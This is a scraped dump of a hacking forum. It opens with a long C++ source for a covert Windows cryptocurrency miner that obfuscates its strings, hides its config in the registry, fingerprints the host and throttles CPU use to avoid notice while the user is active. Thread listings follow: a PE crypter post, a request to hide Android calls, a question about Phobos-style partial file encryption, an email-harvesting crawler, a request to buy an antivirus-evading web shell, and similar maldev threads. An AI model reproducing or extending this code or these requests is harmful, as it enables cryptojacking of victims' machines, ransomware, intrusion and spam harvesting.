                    if (is_process_running(mutex_process_name, mutex_process_id))
                        status = false;
                }

                free_memory(_mutex_process_id);
                free_memory(mutex_process_name);
            }

            free_memory(mutex_value);
            if (status) break;
            free_memory(ansi20);
            return false;
        }
    }
    while (false); // not a loop
    
    // it doesnt exist so we lets check if the mutex tag is there or we need to add a new one
    unsigned long mutex_position = get_delimeter<const char>((char*) container_config, ansi20);;
    if (mutex_position != -1)
    {
        // if we get to here lets remove the line which contains the mutex if its present
        unsigned long mutex_end_position = get_delimeter<const char>((char*) container_config + mutex_position, "\r\n");
        if (mutex_end_position != -1)
        {
            trim_memory(container_config + mutex_position, miner_container->file_plain_size - mutex_position, (mutex_end_position + 2) - mutex_position);
        }
    }
    free_memory(ansi20);

    bool success                     = false;
    unsigned long container_size     = ansi_strlen((char*) container_config);
    unsigned long new_container_size = container_size + 5 + 1 + 2 + 1 + process_name_len + process_id_len;

    char* ansi21 = 0, *ansi22 = 0;
    container_config = (unsigned char*) realloc_memory(container_config, new_container_size, &success);
    if (container_config)
    {
        xor_string(ansi, (unsigned char**)&ansi21, (unsigned char*)ansi_table[21], 16, 21);
        new_container_size = wnsprintfA((char*) container_config, new_container_size, ansi21, container_config, process_name, process_id);
        free_memory(ansi21);
    }

    if (success)
    {
        unsigned long update_timestamp = 0;
        get_epoch_timestamp(&update_timestamp);
        xor_string(ansi, (unsigned char**)&ansi22, (unsigned char*)ansi_table[22], 9, 22);
        EFS_merge(efs, ansi22, container_config, new_container_size, update_timestamp, false);
        free_memory(ansi22);
    }

    return true;
}

mining_tasks* parse_operation_response(mining_tasks* mining_operations, unsigned char* pool_response)
{
    char* ansi23 = 0, * ansi24 = 0, * ansi25 = 0, * ansi26 = 0, * ansi27 = 0, * ansi28 = 0;
    xor_string(ansi, (unsigned char**)&ansi23, (unsigned char*)ansi_table[23], 7, 23);

    int pool_id = 0;
    json_extract_value(pool_response, ansi23, (void**)&pool_id);
    free_memory(ansi23);

    // it should be the case since we hardcoded this into the stratum response (operations.cpp#L677)
    if (pool_id == 31337)
    {
        unsigned long long block_height = 0;
        xor_string(ansi, (unsigned char**)&ansi24, (unsigned char*)ansi_table[24], 6, 24);

        json_extract_value(pool_response, ansi24, (void**)&block_height, true);
        free_memory(ansi24);

        if (block_height)
        {
            mining_tasks* task = add_task(&mining_operations, block_height);
            if (task)
            {
                do
                {
                    xor_string(ansi, (unsigned char**)&ansi25, (unsigned char*)ansi_table[25], 7, 25);

                    json_extract_value(pool_response, ansi25, (void**)&task->task_id);
                    free_memory(ansi25);

                    if (!task->task_id)
                        break;

                    xor_string(ansi, (unsigned char**)&ansi26, (unsigned char*)ansi_table[26], 6, 26);

                    json_extract_value(pool_response, ansi26, (void**)&task->target_hex);
                    free_memory(ansi26);

                    int target_hex_length = ansi_strlen(task->target_hex);
                    if (target_hex_length <= 8)
                    {
                        unsigned long dividend = 0;
                        hex_to_bin(task->target_hex, (unsigned char*) &dividend, target_hex_length / 2);
                        if (dividend == 0) break;

                        task->target = 0xffffffffffffffffULL / (0xffffffffULL / (unsigned long long) dividend);
                    }
                    else
                    if (target_hex_length <= 16)
                    {
                        task->target = 0;
                        hex_to_bin(task->target_hex, (unsigned char*)&task->target, target_hex_length / 2);
                        if (task->target == 0) break;
                    }
                    else break;

                    task->diff = task->target ? (0xffffffffffffffffULL / task->target) : 0;
                    if (!task->diff)
                        break;

                    char* hashing_blob = 0;
                    xor_string(ansi, (unsigned char**)&ansi27, (unsigned char*)ansi_table[27], 4, 27);

                    json_extract_value(pool_response, ansi27, (void**)&hashing_blob);
                    free_memory(ansi27);

                    if (((task->hashing_blob_size = ansi_strlen(hashing_blob)) % 2) != 0)
                        break;

                    task->hashing_blob_size /= 2;
                    if (task->hashing_blob_size < 76 || task->hashing_blob_size > 407 || !task->hashing_blob_size)
                    {
                        free_memory(hashing_blob);
                        break;
                    }

                    task->hashing_blob = (unsigned char*)alloc_memory(task->hashing_blob_size);
                    hex_to_bin(hashing_blob,
                        task->hashing_blob,
                        task->hashing_blob_size);
                    free_memory(hashing_blob);

                    task->algorithm     = (task->hashing_blob[1] < 12 ? CRYPTONIGHT_R : RANDOM_X);
                    task->block_version = (task->hashing_blob[1] >= 7 ? task->hashing_blob[1] - 6 : 0);

                    if (task->algorithm == RANDOM_X)
                    {
                        char* seed_hash = 0;
                        xor_string(ansi, (unsigned char**)&ansi28, (unsigned char*)ansi_table[28], 9, 28);

                        json_extract_value(pool_response, ansi28, (void**)&seed_hash);
                        free_memory(ansi28);

                        if (seed_hash && ansi_strlen(seed_hash) != 64)
                        {
                            free_memory(seed_hash);
                            break;
                        }

                        task->seed_hash = (unsigned char*)alloc_memory(32);
                        hex_to_bin(seed_hash, task->seed_hash, 32);
                        free_memory(seed_hash);
                    }

                    return task;
                }
                while (0);
                remove_task(&mining_operations, block_height);
            }
        }
    }
    return 0;
}

void get_user_id(char** unique_id, unsigned long* unique_id_length)
{
    // get computer name
    unsigned long computer_length = 0;
    char* computer_name = 0, *ansi29 = 0, *ansi30 = 0;
    xor_string(ansi, (unsigned char**)&ansi29, (unsigned char*)ansi_table[29], 12, 29);

    wchar_t* uni73 = 0, *uni74 = 0;
    xor_string(unicode, (unsigned char**)&uni73, (unsigned char*)unicode_table[73], 58, 73);
    *(uni73 + 58) = L'\0';
    xor_string(unicode, (unsigned char**)&uni74, (unsigned char*)unicode_table[74], 64, 74);
    *(uni74 + 64) = L'\0';

    get_key_value(local_machine, uni73, 58, ansi29, &computer_name, &computer_length);
    free_memory(uni73);

    if (!computer_name || !computer_length)
    {
        get_key_value(local_machine, uni74, 64, ansi29, &computer_name, &computer_length);
        free_memory(uni74);
    }
    free_memory(ansi29);

    wchar_t* ntroot = SharedUserData->NtSystemRoot, root_path[3];
    // get system creation date
    root_path[0] = ntroot[0];
    root_path[1] = L':';
    root_path[2] = L'\\';
    LARGE_INTEGER* vcd = get_file_vcd(root_path);

    int concat_length = integer_length(vcd->QuadPart) + computer_length;
    char* concat_str = (char*)alloc_memory(concat_length);

    xor_string(ansi, (unsigned char**)&ansi30, (unsigned char*)ansi_table[30], 6, 30);
    wsprintfA(concat_str, ansi30, concat_str, vcd->QuadPart);
    free_memory(ansi30);

    unsigned int user_id = crc32((unsigned char*) concat_str, concat_length, INFINITE);

    *unique_id_length = integer_length(user_id);
    *unique_id = (char*) alloc_memory(*unique_id_length + 1);

    wsprintfA(*unique_id, "%u\0", user_id);

    free_memory(concat_str);
}

void encrypt_message_body(char* udp_port, unsigned char** message_body, unsigned long* message_body_length)
{
    bool success = false;
    int udp_port_length = ansi_strlen(udp_port);
    // send the new peer list as a response to the peer which connected with us
    *message_body = (unsigned char*) realloc_memory(*message_body, *message_body_length + 1/*delimeter*/ + udp_port_length/*max key length*/, &success);
    if (*message_body)
    {
        // prepend the udp port of the current peer as the encryption key for the current frame
        unsigned char* prepended = (unsigned char*)alloc_memory(udp_port_length + 1);
        if (prepended)
        {
            copy_memory(prepended, udp_port, udp_port_length);
            copy_memory(prepended + udp_port_length, (void*)"|", 1);

            rc4_state peer_state;
            set_mem_static(peer_state, sizeof(peer_state));

            // set the rc4 key (udp port) and encrypt the context of the peer list with it
            rc4_init(&peer_state, (unsigned char*)udp_port, udp_port_length);
            rc4_crypt(&peer_state, *message_body, *message_body, *message_body_length);

            // then append the udp port to the newly encrypted list
            prepend_memory(*message_body, prepended);

            *message_body_length += (1 + udp_port_length);

            free_memory(prepended);
        }
    }
}

bool send_pool_request(connection_info conn_info, int pool_socket, const char* method_type, const char* params, unsigned char** response)
{
    bool status = false;
    if (&conn_info)
    {
        unsigned char* pool_request = (unsigned char*) alloc_memory(1024);
        if (pool_request)
        {
            char* ansi31 = 0;
            xor_string(ansi, (unsigned char**)&ansi31, (unsigned char*)ansi_table[31], 18, 31);

            unsigned long request_size = wsprintfA((char*) pool_request,
                ansi31, method_type, params);
            free_memory(ansi31);

            encrypt_message_body(conn_info.udp_port, &pool_request, &request_size);

            send_message(conn_info, pool_socket, pool_request, request_size, false);

            int bytes_to_recv = 1024;
            status = recv_message(pool_socket, response, 0, 0, &bytes_to_recv);

            free_memory(pool_request);
        }
    }
    return status;
}

char* __stdcall hash_cryptonight(char* bin, int variant, unsigned long long height)
{
    int bin_length = ansi_strlen(bin);
    if (bin_length <= 0)
        return 0;

    char hash[32];
    set_mem_static(hash, 32);

    cn_slow_hash(bin, bin_length, hash, variant, height);

    return hash;
}

struct miner_information
{
    int pool_sock;
    mining_tasks* task;
    connection_info conn_info;

    unsigned long* block_nonce;
    unsigned long  added_delays;
    unsigned long  mining_started;

    unsigned long long* total_hashes;
};

unsigned long __stdcall mining_thread(void* params)
{
    double cpu_times[64];
    set_mem_static(cpu_times, 64 * sizeof(double));

    miner_information* miner_info = (miner_information*) params;
    if (miner_info) return 0;

    SYSTEM_BASIC_INFORMATION system_info;
    set_mem_static(system_info, sizeof::SYSTEM_BASIC_INFORMATION);

    // get the number of cpu cores available in the current system
    NTSTATUS status = NtQuerySystemInformation(SystemBasicInformation, &system_info, sizeof(system_info), 0);
    if (!NT_SUCCESS(status)) return 0;

    // lets bust this hash!
    do
    {
        unsigned long hashing_start_time = get_tick_count();

        copy_memory(miner_info->task->hashing_blob + 39, &*miner_info->block_nonce, sizeof(unsigned long));

        char* hash = 0;
        // based on the response of the block minor version - use the preferred hashing method
        switch (miner_info->task->algorithm)
        {
            case RANDOM_X:
            {
                hash = hash_randomx((char*)miner_info->task->hashing_blob,
                    miner_info->task->seed_hash, miner_info->task->height, system_info.NumberOfProcessors);
            }
            break;
            case CRYPTONIGHT_R:
            {
                hash = hash_cryptonight((char*)miner_info->task->hashing_blob,
                    miner_info->task->block_version, miner_info->task->height);
            }
            break;
        }

        ++(*miner_info->total_hashes);
        if (hash)
        {
            bool exit_hashing_loop = false;
            // the value of the target is returned on the 24..32 bytes of the hash
            unsigned long long hash_target = str_to_ull(&hash[24]);
            if (hash_target > 0 && hash_target < miner_info->task->target)
            {
                unsigned long mining_ended = 0;
                // determine the time at which the miner finished cracking this hash
                get_epoch_timestamp(&mining_ended);

                // remove any added delays in this current hashing session
                if (miner_info->added_delays)
                {
                    mining_ended -= (miner_info->added_delays * 15000);
                    miner_info->added_delays  = 0;
                }

                // todo: update avg hashrate in miner.cfg (to calculate network hashrate more accurately than current)
                unsigned long session_hash_rate = *miner_info->total_hashes / (mining_ended - miner_info->mining_started);
                                                            
                char hex_hash[64];
                set_mem_static(hex_hash, 64);
                bin_to_hex((unsigned char*) hash, 32, hex_hash);

                char params[1024], *ansi36 = 0, *ansi37 = 0;
                xor_string(ansi, (unsigned char**)&ansi36, (unsigned char*)ansi_table[36], 76, 36);

                set_mem_static(params, 1024);
                wsprintfA(params, ansi36,
                    miner_info->task->task_id, miner_info->block_nonce, hex_hash, session_hash_rate);
                free_memory(ansi36);

                unsigned char* submission_response = 0;
                xor_string(ansi, (unsigned char**)&ansi37, (unsigned char*)ansi_table[37], 4, 37);
                if (send_pool_request(miner_info->conn_info, miner_info->pool_sock, ansi37, params, &submission_response))
                    exit_hashing_loop = true;

                free_memory(ansi37);
            }
            else exit_hashing_loop = true;
            set_memory(hash, 0, 32);

            if (exit_hashing_loop)
            {
                *miner_info->block_nonce = 1;
                return 0;
            }
        }
        (*miner_info->block_nonce)++;
        
        int prev_cpu_throttle = 0, total_sleep_time = 0;
        /* unfortunately below Windows 8 we cannot throttle the cpu of the
         process automatically so we will need to do it ourselves */
        if (SharedUserData->NtMajorVersion == 6 && SharedUserData->NtMinorVersion < 2)
        {
            int max_cpu_usage = 40;
            double total_cpu_time = 0;

            KERNEL_USER_TIMES current_thread_time;
            set_mem_static(current_thread_time, sizeof::KERNEL_USER_TIMES);

            RtlEnterCriticalSection(&g_critical_section);

            // this part will heat up the cpu if its executed rapidly, so lets only execute it
            // the first few cycles and then every 2 seconds
            if (total_sleep_time > 2000 || total_sleep_time < 5)
            {
                NTSTATUS status = NtQueryInformationThread(NtCurrentTeb()->ClientId.UniqueThread,
                    ThreadTimes, &current_thread_time, sizeof::KERNEL_USER_TIMES, 0);

                if (NT_SUCCESS(status))
                {
                    unsigned long hashing_end_time = get_tick_count() - hashing_start_time;

                    double cpu_usage = (double)((current_thread_time.KernelTime.QuadPart + current_thread_time.UserTime.QuadPart) / (hashing_end_time) / system_info.NumberOfProcessors);

                    int number_of_entries = (sizeof(cpu_times[0]) / sizeof(cpu_times));
                    if (number_of_entries < 64)
                    {
                        for (int n = number_of_entries; n >= 0; total_cpu_time += cpu_times[n], --n) cpu_times[n + 1] = cpu_times[n];
                        total_cpu_time += (cpu_times[0] = cpu_usage);
                        total_cpu_time /= number_of_entries;
                    }
                    max_cpu_usage = is_user_idle(false) ? 100 : 40;
                }
                total_sleep_time = 0;
            }
            else total_sleep_time += prev_cpu_throttle;

            switch (max_cpu_usage)
            {
                case 40:
                {
                    if (total_cpu_time > (40 + 1))
                        prev_cpu_throttle++;
                    else
                    if (total_cpu_time < (40 - 1) && prev_cpu_throttle > 1)
                        prev_cpu_throttle--;
                    break;
                }
                default: if (total_cpu_time < (100 - 1) && prev_cpu_throttle > 1) prev_cpu_throttle--;
            }

            timeout(prev_cpu_throttle);

            RtlLeaveCriticalSection(&g_critical_section);
        }
    }
    while (true);

    return 1;
}

int __stdcall WinMain(HINSTANCE curr_base, HINSTANCE prev_base, char* args, int display)
{
    _p2p_data p2p_data;
    set_mem_static(p2p_data, sizeof::_p2p_data);

    RtlInitializeCriticalSection(&g_critical_section);

    // allocate the linked-list of mining operations
    mining_operations = (mining_tasks*) alloc_memory(sizeof::mining_tasks);

    // the argument to the miner will be the default encryption key (also the EFS key name)
    p2p_data.encryption_key = args;

    unsigned long long       total_hashes = 0;
    unsigned long previous_container_size = 0;
    // used to determine if the mutex has been verified so we can poll pool nodes
    bool poll_pool_nodes = false;
    do
    {
        wchar_t* uni50 = 0;
        xor_string(unicode, (unsigned char**)&uni50, (unsigned char*)unicode_table[50], 9, 50);
        *(uni50 + 9) = L'\0';
        // get the configuration data from the EFS registry hive
        get_key_value<unsigned char*>(current_user, uni50, 9, p2p_data.encryption_key, &*p2p_data._efs.container_memory, p2p_data._efs.container_length);
        free_memory(uni50);

        char* worker_uid = 0, *ansi22 = 0;
        xor_string(ansi, (unsigned char**)&ansi22, (unsigned char*)ansi_table[22], 9, 22);
        unsigned long miner_cfg_address = 0, process_id = 0, worker_uid_length = 0, mining_started = 0, block_nonce;
        // look for the miner.cfg file in the EFS
        container_info* miner_cfg = EFS_search(p2p_data._efs, ansi22, &miner_cfg_address);
        free_memory(ansi22);

        if (miner_cfg && previous_container_size != miner_cfg->file_plain_size)
        {
            unsigned char* miner_config = 0;
            // extract the miner config from memory
            extract_memory(&miner_config, *p2p_data._efs.container_memory + miner_cfg_address, miner_cfg->file_plain_size);
            if (miner_config)
            {
                previous_container_size = miner_cfg->file_plain_size;
                // this should only be executed on the first loop
                if (!poll_pool_nodes)
                {
                    char* process_name = 0;
                    // get the process id and process name;
                    get_process_info(&process_name, &process_id);
                    if (process_name)
                    {
                        // returns true if the config is empty or if the existing mutex isnt running or false if its already running
                        bool status = verify_config_mutex(p2p_data._efs, miner_cfg, miner_config, process_name, process_id);
                        if (!status) return 0;
                        else
                        {
                            // get the unique worker id for the current user
                            get_user_id(&worker_uid, &worker_uid_length);
                            poll_pool_nodes = true;
                            block_nonce = 1;
                        }
                        free_memory(process_name);
                    }
                }

                unsigned long added_delays = 0;
                if (poll_pool_nodes)
                {
                    char* pool_list = 0, *ansi32 = 0;
                    xor_string(ansi, (unsigned char**)&ansi32, (unsigned char*)ansi_table[32], 5, 32);
                    // lets determine if a list of available pool-nodes exists
                    get_http_header((char*) miner_config, ansi32, &pool_list, true);
                    free_memory(ansi32);

                    if (pool_list)
                    {
                        char** pools = 0;
                        unsigned long num_pools = php_explode(pool_list, "|", &pools);

                        for (int n = 0; n < num_pools; ++n)
                        {
                            unsigned long separator = get_delimeter<const char>(pools[n], ":");
                            if (separator != -1)
                            {
                                connection_info conn_info;
                                set_mem_static(conn_info, sizeof::connection_info);

                                extract_data(&conn_info.udp_address, pools[n], separator);
                                extract_data(&conn_info.udp_port,
                                    pools[n] + (separator + 1), ansi_strlen(pools[n]) - (separator + 1));

                                int num_characters = count_characters(conn_info.udp_address, '.');
                                conn_info.type     = (num_characters == 3 ? addr_ipv4 : addr_ipv6);
                            
                                int pool_sock = get_socket(&conn_info);
                                if (pool_sock)
                                {
                                    // since we connected to a new pool, reset the total hashes
                                    total_hashes = 0;

                                    // update the time which we started the mining operation for the current pool
                                    get_epoch_timestamp(&mining_started);

                                    // so that in case we get disconnected we can refresh a new pool-node list
                                    n = num_pools;

                                    // and send CRC32 encoded unique worker id to the pool-node for login
                                    send_message(conn_info, pool_sock, (unsigned char*) worker_uid, worker_uid_length, false);
                                    do
                                    {
                                        int retry_count = 0;
retry_knock:
                                        char* knock_response = 0, *ansi33 = 0, *ansi34 = 0, *ansi35 = 0;
                                        xor_string(ansi, (unsigned char**)&ansi33, (unsigned char*)ansi_table[33], 4, 33);
                                        // verify that the pool-node sends responses to request data
                                        bool status = send_pool_request(conn_info, pool_sock, ansi33, "", (unsigned char**) &knock_response);
                                        free_memory(ansi33);

                                        if (knock_response)
                                        {
                                            xor_string(ansi, (unsigned char**)&ansi34, (unsigned char*)ansi_table[34], 4, 34);
                                            bool server_response = a_str_compare(knock_response, ansi34) == 0;
                                            free_memory(ansi34);

                                            if (!server_response)
                                            {
                                                // if the pool-node fails to respond then lets make another 3 attempts
                                                free_memory(knock_response);
                                                timeout(15 * 1000);

                                                // increment the number of delays (to properly calculate hashrate)
                                                added_delays++;

                                                if (retry_count < 3)
                                                {
                                                    ++retry_count;
                                                    goto retry_knock;
                                                }
                                                // but if it doesnt respond after 45 seconds then assume its dead and disconnect
                                                else break;
                                            }
                                        }

                                        // no memory-leaks please))
                                        if (status) free_memory(knock_response);

                                        unsigned char* response_data = 0;
                                        xor_string(ansi, (unsigned char**)&ansi35, (unsigned char*)ansi_table[35], 4, 35);
                                        // the next connection to the pool should be started by sending a command to obtain block template
                                        status = send_pool_request(conn_info, pool_sock, ansi35, "", &response_data);
                                        free_memory(ansi35);

                                        if (status)
                                        {
                                            // extract the block template data from the login request
                                            mining_tasks* task = parse_operation_response(mining_operations, response_data);
                                            if (task)
                                            {
                                                miner_information* miner_info = (miner_information*) alloc_memory(sizeof::miner_information);
                                                if (miner_info)
                                                {
                                                     miner_info->added_delays   = added_delays;
                                                    *miner_info->block_nonce    = block_nonce;
                                                     miner_info->conn_info      = conn_info;
                                                     miner_info->mining_started = mining_started;
                                                     miner_info->pool_sock      = pool_sock;
                                                    *miner_info->total_hashes   = total_hashes;
                                                     miner_info->task           = task;

                                                    /*
                                                        in order to throttle the cpu usage, we will create
                                                        designated thread for the hashing process in order
                                                        to properly verify threaded cpu consumption
                                                    */
                                                    void* mining_thread_handle = CreateThread(0, 0, mining_thread, task, 0, 0);
                                                    if (mining_thread_handle)
                                                        wait_for_single_object(mining_thread_handle, INFINITE);

                                                    free_memory(miner_info);
                                                }
                                            }
                                            free_memory(response_data);
                                        }
                                    }
                                    while (true);

                                    closesocket(pool_sock);
                                }
                                free_memory(conn_info.udp_address);
                                free_memory(conn_info.udp_port);
                            }
                        }
                        free_memory(pool_list);
                    }
                }
                free_memory(miner_config);
            }
        }
        // since we got to here we should free the previous container memory and prepare for the new one
        free_memory(*p2p_data._efs.container_memory);

        // wait 30 seconds to poll the EFS again
        timeout(30 * 1000);
    }
    while (true);

    return 1;
}
PE криптор на C
ID: 6765d804b4103b69df375713
Thread ID: 112374
Created: 2024-04-10T14:07:01+0000
Last Post: 2024-04-15T08:41:03+0000
Author: Risinka
Replies: 1 Views: 505

Копался в файлах пк и наткнулся на небольшой проект PE криптора, мб кому полезно будет.

android --> hide incoming call?
ID: 6765d804b4103b69df3757c4
Thread ID: 88653
Created: 2023-05-23T04:08:12+0000
Last Post: 2023-07-25T14:37:59+0000
Author: drpalpatine
Replies: 4 Views: 502

there is not much knowledge --> inside android API or even such demon java himself
is such possible to completely hide such incoming call himself --> without UI elements + notifications --> inside background completely?
from my understand --> android public API does not allow such

without display any custom UI overlay on top --> only hide complete

Encrypt a file in C# (AES & RSA algorithm)
ID: 6765d804b4103b69df3757f5
Thread ID: 62612
Created: 2022-02-07T18:07:04+0000
Last Post: 2023-04-23T07:02:18+0000
Author: Artem2245
Replies: 8 Views: 501

Hi guys

I want to encode part of a file but everything I do fails.

I want to encrypt part of a file, for example 7-10 MB of large files (files less than 10 MB to be fully encrypted)

Or like Phobos, encrypt three parts of each file. First, middle and last

And also do not have trouble decoding.

I will be grateful if you help me.
-----------------------------------------------------------------------------------------------------------------

.net crawler code to find emails from websites. (provide list of websites in a file)
ID: 6765d804b4103b69df3756dc
Thread ID: 120141
Created: 2024-08-03T14:39:48+0000
Last Post: 2024-08-03T14:41:04+0000
Author: beezblock
Replies: 1 Views: 501

Till: Install necessary dependencies from nuggets or preferred market
create a console app and add reference to class lib project

//Code

using System.Net;
using System.Net.Mime;
using System.Text.RegularExpressions;
using HtmlAgilityPack;
using Microsoft.Extensions.DependencyInjection;
using Polly;
namespace EmailFinder.Finders;
public class Finder
{
private IServiceProvider _service;
private IHttpClientFactory? _httpclient;
HashSet urls = new HashSet();
HashSet emails = new HashSet();
private string html = String.Empty;
public Finder()
{
_service = new ServiceCollection().AddHttpClient().BuildServiceProvider();
_httpclient = _service.GetService();
}
public async Task<HashSet> WebScrapper(string website)
{
try{

var policy = Policy.Handle().OrResult(r=> r.StatusCode == HttpStatusCode.RequestTimeout).WaitAndRetryAsync(3, retries => TimeSpan.FromSeconds(Math.Pow(2, retries)), onRetryAsync: async (exception, retrycount, context) => {
if(context != null)
{
var request = new HttpRequestMessage(HttpMethod.Get, context.OperationKey.ToString());
}
});

using(var client = _httpclient.CreateClient())
{
HttpRequestMessage requestMessage = new HttpRequestMessage()
{
RequestUri = new Uri(website),
Headers = {
{"Connection", "keep-alive"},
{"User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile Safari/537.36"},
{"Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed- exchange;v=b3;q=0.7"},
{"Accept-Language", "en-US,en;q=0.5"},
},
Method = HttpMethod.Get
};
var response = await policy.ExecuteAsync(async() => await client.SendAsync(requestMessage));
html = response.Content.ReadAsStringAsync().Result;
}
HtmlDocument document = new HtmlDocument();
document.LoadHtml(html);
HtmlNodeCollection nodes = document.DocumentNode.SelectNodes("//ul[li/a[@href]]//a[@href]");
foreach(var url in nodes)
{
string link = url.GetAttributeValue("href", "");
string fulllink = String.Empty;
if(!link.Contains(website[..^1]))
{
fulllink = website + link;
urls.Add(fulllink);
}else
{
urls.Add(link);
}
}
var checkhomepage = await GetEmail(website);
if(checkhomepage.Count > 0)
{
Console.WriteLine("Email Found!");
}else
{
var priortizelist = urls.OrderByDescending(url => url.ToLower().Contains("about") || url.ToLower().Contains("about"));
foreach(var url in priortizelist)
{
var checkotherpage = await GetEmail(url);
if(checkotherpage.Count > 0)
{
Console.WriteLine("Email Found");
break;
}else
{
Console.WriteLine("Email not Found");
}
}
}
}catch(HttpRequestException ex)
{
Console.WriteLine(ex.Message);
}
return urls;
}
public async Task<HashSet> GetEmail(string website)
{
string html = string.Empty;

try
{
var retrypolicy = Policy.Handle().OrResult(r=> r.StatusCode == HttpStatusCode.RequestTimeout).WaitAndRetryAsync(3, retries => TimeSpan.FromSeconds(Math.Pow(2, retries)));
using(var client = httpclient.CreateClient())
{
HttpRequestMessage request = new HttpRequestMessage()
{
RequestUri = new Uri(website),
Headers = {
{"Connection", "keep-alive"},
{"User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile Safari/537.36"},
{"Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed- exchange;v=b3;q=0.7"},
{"Accept-Language", "en-US,en;q=0.5"},
},
Method = HttpMethod.Get
};
var response = await retrypolicy.ExecuteAsync(async() => await client.SendAsync(request));
html = response.Content.ReadAsStringAsync().Result;
}
string emailpattern = @"\b[A-Za-z0-9.
%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b";
MatchCollection emailmatch = Regex.Matches(html, emailpattern);
foreach(Match item in emailmatch)
{
if(!emails.Contains(item.Value.Trim()))
{
await using(var sw = File.AppendText("leads.txt"))
{
await sw.WriteLineAsync(item.Value.Trim().ToString());
}
}
emails.Add(item.Value.Trim());
}
// HtmlDocument document = new HtmlDocument();
// document.LoadHtml(html);
// HtmlNodeCollection nodes = document.DocumentNode.SelectNodes("//text()[matches(., '[^@]+@[^@]+')]");
// foreach(var item in nodes)
// {
// emails.Add(item.InnerText.ToString());
// }
}catch(HttpRequestException ex)
{
Console.WriteLine(ex.Message);
}
return emails;
}
}

Брутер без прокси
ID: 6765d804b4103b69df3759aa
Thread ID: 52065
Created: 2021-05-22T17:47:56+0000
Last Post: 2021-05-22T17:47:56+0000
Author: Ott_Fon_Bismark
Replies: 0 Views: 500

Добрий день стала интересна данная тема, реализация происходит через апи в основном, всегда ли это возможно? и есть ли у кого интересные статьи советы?

ASP.net Clean WebShell
ID: 6765d804b4103b69df3759ab
Thread ID: 52050
Created: 2021-05-21T21:50:40+0000
Last Post: 2021-05-21T21:50:40+0000
Author: alienobserver
Replies: 0 Views: 498

I need a simple ASP.net Web Shell / Manager with the following features

Read data with MYSQL and MSSQL

Export data from table and / or DB

Export as CSV, Excel, SQL

Not detected by Antivirus
In the meantime, there is no need to know about it.

I will pay something reasonable agreed through escrow or not if you give me to test first.

PM for deals only.

Code Machine Maldev Course
ID: 6765d804b4103b69df375882
Thread ID: 73831
Created: 2022-10-01T12:11:19+0000
Last Post: 2022-10-18T20:46:17+0000
Author: ICT_student_TZ
Replies: 12 Views: 498

Sorry for writing in English..my Russian is not good.

is there somewhere free "Code Machine" (Malware Techniques Training) course??

Anti-rootkit, реально ли создать стоящий?
ID: 6765d804b4103b69df3758e6
Thread ID: 63945
Created: 2022-03-07T17:07:59+0000
Last Post: 2022-03-13T06:46:51+0000
Author: Balora19
Replies: 6 Views: 492

Есть безумная идея, создать альтернативу умершему PcHunter. Безумная потому что, кажется сложно выполнимой, по крайне мере для меня.
Почему именно "Охотник"? - потому что, только в нем реализована функция удаления любого софта на корню, любая ав которая его пропустила, отлетит без проблем, в альтернативах такого нет (пр. GMER)
На гите нашел сурс на так называемый OpenArkhttps://github.com/BlackINT3/OpenArk.git, но запустив потестив, че то даже не смог закрыть каспера, то есть каспер даже не реагирует.
Так вот, вопрос насколько это вообще реально ( в опыте несколько лет разработки на Си и C#)? И как вообще создатели Хантера реализовали функцию удаления Руткитов?

How to control standard input/output between threads?
ID: 6765d804b4103b69df375815
Thread ID: 83472
Created: 2023-03-09T01:04:57+0000
Last Post: 2023-03-10T03:09:12+0000
Author: el84
Replies: 3 Views: 490

I have a problem about controlling which thread should have preference when reading from standard input. The program main thread have a prompt loop and another thread which enqueue commands. Some commands is supposed to establish a shell and then takeover the standard input/output. But I don't know how to do this properly yet and both threads are trying to read at the same time.

Any tips are welcome.

using chatgpt ai for malware development
ID: 6765d804b4103b69df37568d
Thread ID: 128354
Created: 2024-12-06T10:31:58+0000
Last Post: 2024-12-12T16:37:14+0000
Author: Pharos
Replies: 4 Views: 485

is it safe to use chatgpt in tor browser when you ask simple coding questions, not obvious ones that are connected with malware development? just simple prove of concept things that you can rewrite and use?

Безопасность на грани: Откройте секрет получения внешнего IP-адреса через Stun на С++!
ID: 6765d804b4103b69df375760
Thread ID: 103413
Created: 2023-12-03T08:34:28+0000
Last Post: 2023-12-19T15:00:59+0000
Author: salsa20
Prefix: Статья
Replies: 1 Views: 480

Введение
В этой статье мы рассмотрим пример кода на C++, который использует библиотеку Winsock для выполнения STUN-теста. STUN (Session Traversal Utilities for NAT)

  • это протокол, который позволяет определить наличие и тип NAT (Network Address Translation) между вашим устройством и сервером. Это полезно для настройки соединений в сетях, использующих NAT.

Подготовка к работе
Для начала мы подключаем необходимые заголовочные файлы:

C++:Copy to clipboard

#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>

Также, мы указываем компилятору использовать библиотеку ws2_32.lib, которая содержит функции Winsock:

C++:Copy to clipboard

#pragma comment(lib, "ws2_32.lib")

Основной код
Мы начинаем с определения макросов для обработки ошибок:

C++:Copy to clipboard

#define REPORT_ERROR(msg) \
    do { \
        std::cerr << msg << std::endl; \
        return; \
    } while (0)

// Другие макросы для обработки ошибок

Далее, у нас есть структура stunPack, представляющая STUN-пакет:

C++:Copy to clipboard

struct stunPack {
    uint16_t MessageType;
    uint16_t MessageLength;
    uint32_t MessageCookie;
    uint8_t MessageTransactionID[12];
};

Мы также имеем функции BEbytes, которые выполняют перекодировку чисел в сетевой порядок байт:

C++:Copy to clipboard

void BEbytes(void* buffer, uint16_t value);
void BEbytes(void* buffer, uint32_t value);

Функция StunRequest выполняет запрос к STUN-серверу:

C++:Copy to clipboard

void StunRequest(const std::string& server, SOCKET sock);

Функция xorAddr используется для обработки ответа от STUN-сервера и извлечения IP-адреса и порта:

C++:Copy to clipboard

void xorAddr(const uint8_t* b, std::string& result);

Основная функция
В функции StunTest мы инициализируем Winsock и создаем сокет:

C++:Copy to clipboard

WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
    REPORT_ERROR("Failed to initialize Winsock");
}

